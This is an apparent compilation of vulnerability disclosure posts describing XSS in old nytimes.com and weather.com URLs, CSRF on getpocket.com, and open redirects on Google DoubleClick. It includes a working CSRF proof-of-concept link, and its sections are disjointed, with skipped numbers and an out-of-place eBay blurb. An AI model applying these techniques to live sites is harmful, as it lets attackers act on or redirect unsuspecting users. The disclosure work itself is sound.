New York Times nytimes.com Page Design XSS Vulnerability (Almost all Article Pages Before 2013 are Affected)

The New York Times  Old Articles Can Be Exploited by XSS Attacks (Almost all Article Pages Before 2013 Are Affected)

Domain:

http://www.nytimes.com/



"The New York Times (NYT) is an American daily newspaper, founded and continuously published in New York City since September 18, 1851, by the New York Times Company. It has won 114 Pulitzer Prizes, more than any other news organization. The paper's print version has the largest circulation of any metropolitan newspaper in the United States, and the second-largest circulation overall, behind The Wall Street Journal. It is ranked 39th in the world by circulation. Following industry trends, its weekday circulation has fallen to fewer than one million daily since 1990. Nicknamed for years as "The Gray Lady", The New York Times is long regarded within the industry as a national "newspaper of record". It is owned by The New York Times Company. Arthur Ochs Sulzberger, Jr., (whose family (Ochs-Sulzberger) has controlled the paper for five generations, since 1896), is both the paper's publisher and the company's chairman. Its international version, formerly the International Herald Tribune, is now called the International New York Times. The paper's motto, "All the News That's Fit to Print", appears in the upper left-hand corner of the front page." (Wikipedia)

(1) Vulnerability Description:

The New York Times has a computer cyber security problem. Hacker can exploit its users by XSS bugs. 

The code program flaw occurs at New York Times’s URLs. Nytimes (short for New York Times) uses part of the URLs to construct its pages. However, it seems that Nytimes does not filter the content used for the construction at all before 2013.

Based on Nytimes’s Design, Almost all URLs before 2013 are affected (All pages of articles). In fact, all article pages that contain “PRINT” button, “SINGLE PAGE” button, “Page *” button, “NEXT PAGE” button are affected.

Nytimes changed this mechanism since 2013. It decodes the URLs sent to its server. This makes the mechanism much safer now.

However, all URLs before 2013 are still using the old mechanism. This means almost all article pages before 2013 are still vulnerable to XSS attacks. I guess the reason Nytimes does not filter URLs before is cost. It costs too much (money & human capital) to change the database of all posted articles before.

(3) What is XSS?
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy.


"Hackers are constantly experimenting with a wide repertoire of hacking techniques to compromise websites and web applications and make off with a treasure trove of sensitive data including credit card numbers, social security numbers and even medical records. Cross-site Scripting (also known as XSS or CSS) is generally believed to be one of the most common application layer hacking techniques Cross-site Scripting allows an attacker to embed malicious JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable dynamic page to fool the user, executing the script on his machine in order to gather data. The use of XSS might compromise private information, manipulate or steal cookies, create requests that can be mistaken for those of a valid user, or execute malicious code on the end-user systems. The data is usually formatted as a hyperlink containing malicious content and which is distributed over any possible means on the internet." (Acunetix)

The vulnerability can be attacked without user login. Tests were performed on Firefox (34.0) in Ubuntu (14.04) and IE (9.0.15) in Windows 8.

The Weather Channel at Least 76.3% Links Vulnerable to XSS Attacks

The Weather Channel at Least 76.3% Links Vulnerable to XSS Attacks

Domain Description:

http://www.weather.com/

"The Weather Channel is an American basic cable and satellite television channel which broadcasts weather forecasts and weather-related news and analyses, along with documentaries and entertainment programming related to weather.  Launched on May 2, 1982, the channel broadcasts weather forecasts and weather-related news and analysis, along with documentaries and entertainment programming related to weather."

"As of February 2015, The Weather Channel was received by approximately 97.3 million American households that subscribe to a pay television service (83.6% of U.S. households with at least one television set), which gave it the highest national distribution of any U.S. cable channel. However, it was subsequently dropped by Verizon FiOS (losing its approximately 5.5 millions subscribers), giving the title of most distributed network to HLN. Actual viewership of the channel averaged 210,000 during 2013 and has been declining for several years. Content from The Weather Channel is available for purchase from the NBCUniversal Archives." (Wikipedia)

Vulnerability description:


The Weather Channel has a cyber security problem. Hacker can exploit it by XSS bugs.

Almost all links under the domain weather.com are vulnerable to XSS attacks. Attackers just need to add script at the end of The Weather Channel's URLs. Then the scripts will be executed.

10 thousands of Links were tested based a self-written tool. During the tests, 76.3% of links belong to weather.com were vulnerable to XSS attacks.

The reason of this vulnerability is that Weather Channel uses URLs to construct its HTML tags without filtering malicious script codes. 

The vulnerability can be attacked without user login. Tests were performed on Firefox (34.0) in Ubuntu (14.04) and IE (9.0.15) in Windows 8.

GetPocket getpocket.com CSRF (Cross-Site Request Forgery ) Web Security Vulnerability

GetPocket getpocket.com CSRF (Cross-Site Request Forgery ) Web Security Vulnerability

Domain: getpocket.com

"Pocket was founded in 2007 by Nate Weiner to help people save interesting articles, videos and more from the web for later enjoyment. Once saved to Pocket, the list of content is visible on any device — phone, tablet or computer. It can be viewed while waiting in line, on the couch, during commutes or travel — even offline. The world's leading save-for-later service currently has more than 17 million registered users and is integrated into more than 1500 apps including Flipboard, Twitter and Zite. It is available for major devices and platforms including iPad, iPhone, Android, Mac, Kindle Fire, Kobo, Google Chrome, Safari, Firefox, Opera and Windows." (From: https://getpocket.com/about)

Vulnerability Description:

Pocket has a computer cyber security bug problem. Hacker can exploit it by CSRF attacks.

 "Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application." (OWSAP)

Tests were performed on Microsoft IE (9 9.0.8112.16421) of Windows 7, Mozilla Firefox (37.0.2) & Google Chromium 42.0.2311 (64-bit) of Ubuntu (14.04.2)，Apple Safari 6.1.6 of Mac OS X v10.9 Mavericks.

Vulnerability Details:

The code programming flaw exists at "https://getpocket.com/edit/edit" page, i.e.https://getpocket.com/edit?url=http%3A%2F%2Fwpshout.com%2Fchange-wordpress-theme-external-php&title=

Vulnerable URL:

https://getpocket.com/edit?url=http%3A%2F%2Fwpshout.com%2Fchange-wordpress-theme-external-php&title=

Use a website created by me for the following tests. The website is "http://itinfotech.tumblr.com/". Suppose that this website is malicious. If it contains the following link, attackers can post any message as they like.

<a href="https://getpocket.com/edit?url=http%3A%2F%2Fmake.wordpress.org%2Fcore%2F2014%2F01%2F15%2Fgit-mirrors-for-wordpress&title=csrf test">getpocket csrf test</a> [1]

When a logged victim clicks the link ([1]), a new item will be successfully saved to his/her "Pocket" without his/her notice. An attack happens.

Google DoubleClick Website System Could be Used by Spammers

Google DoubleClick.net (Advertising) System URL Redirection Vulnerabilities Could Be Used by Spammers

Although Google does not include Open Redirect vulnerabilities in its bug bounty program, its preventive measures against Open Redirect attacks have been quite thorough and effective to date.

However, Google might have overlooked the security of its DoubleClick.net ​advertising system. After some test, it is found that most of the redirection URLs within DoubleClick.net are vulnerable to Open Redirect vulnerabilities. Many redirection are likely to be affected. This could allow a user to create a specially crafted URL, that if clicked, would redirect a victim from the intended legitimate web site to an arbitrary web site of the attacker's choosing. Such attacks are useful as the crafted URL initially appear to be a web page of a trusted site. This could be leveraged to direct an unsuspecting user to a web page containing attacks that target client side software such as a web browser or document rendering programs.

These redirections can be easily used by spammers, too.

Some URLs belong to Googleads.g.Doubleclick.net are vulnerable to Open Redirect attacks, too. While Google prevents similar URL redirections other than Googleads.g.Doubleclick.net. Attackers can use URLs related to Google Account to make the attacks more powerful.

Moreover, these vulnerabilities can be used to attack other companies such as Google, eBay, The New York Times, Amazon, Godaddy, Yahoo, Netease, e.g. by bypassing their Open Redirect filters (Covert Redirect). These cyber security bug problems have not been patched. Other similar web and computer attacks will be published in the near future.

(3.1) Google Covert Redirect Vulnerability Based on Googleads.g.doubleclick.net

Domain:
google.com


"Google is an American multinational technology company specializing in Internet-related services and products. These include online advertising technologies, search, cloud computing, and software. Most of its profits are derived from AdWords, an online advertising service that places advertising near the list of search results. Google was founded by Larry Page and Sergey Brin while they were Ph.D. students at Stanford University. Together they own about 14 percent of its shares but control 56 percent of the stockholder voting power through supervoting stock. They incorporated Google as a privately held company on September 4, 1998. An initial public offering followed on August 19, 2004. Its mission statement from the outset was "to organize the world's information and make it universally accessible and useful," and its unofficial slogan was "Don't be evil". In 2004, Google moved to its new headquarters in Mountain View, California, nicknamed the Googleplex. The corporation has been estimated to run more than one million servers in data centers around the world (as of 2007). It processes over one billion search requests and about 24 petabytes of user-generated data each day (as of 2009). In December 2013, Alexa listed google.com as the most visited website in the world. Numerous Google sites in other languages figure in the top one hundred, as do several other Google-owned sites such as YouTube and Blogger. Its market dominance has led to prominent media coverage, including criticism of the company over issues such as search neutrality, copyright, censorship, and privacy." (Wikipedia)

"eBay Inc. (stylized as ebay) is an American multinational corporation and e-commerce company, providing consumer to consumer & business to consumer sales services via Internet. It is headquartered in San Jose, California, United States. eBay was founded by Pierre Omidyar in 1995, and became a notable success story of the dot-com bubble. Today, it is a multi-billion dollar business with operations localized in over thirty countries. The company manages eBay.com, an online auction and shopping website in which people and businesses buy and sell a broad variety of goods and services worldwide. In addition to its auction-style sales, the website has since expanded to include "Buy It Now" shopping; shopping by UPC, ISBN, or other kind of SKU (via Half.com); online classified advertisements (via Kijiji or eBay Classifieds); online event ticket trading (via StubHub); online money transfers (via PayPal) and other services. It is not a free website, but charges users an invoice fee when sellers have sold or listed any items." (Wikipedia)

(3.3) The New York Times (Nytimes.com) Covert Redirect Vulnerability Based on Google Doubleclick.net


Domain:
nytimes.com


"The New York Times (NYT) is an American daily newspaper, founded and continuously published in New York City since September 18, 1851, by the New York Times Company. It has won 114 Pulitzer Prizes, more than any other news organization. The paper's print version has the largest circulation of any metropolitan newspaper in the United States, and the second-largest circulation overall, behind The Wall Street Journal. It is ranked 39th in the world by circulation. Following industry trends, its weekday circulation has fallen to fewer than one million daily since 1990. Nicknamed for years as "The Gray Lady", The New York Times is long regarded within the industry as a national "newspaper of record". It is owned by The New York Times Company. Arthur Ochs Sulzberger, Jr., (whose family (Ochs-Sulzberger) has controlled the paper for five generations, since 1896), is both the paper's publisher and the company's chairman. Its international version, formerly the International Herald Tribune, is now called the International New York Times." (Wikipedia)
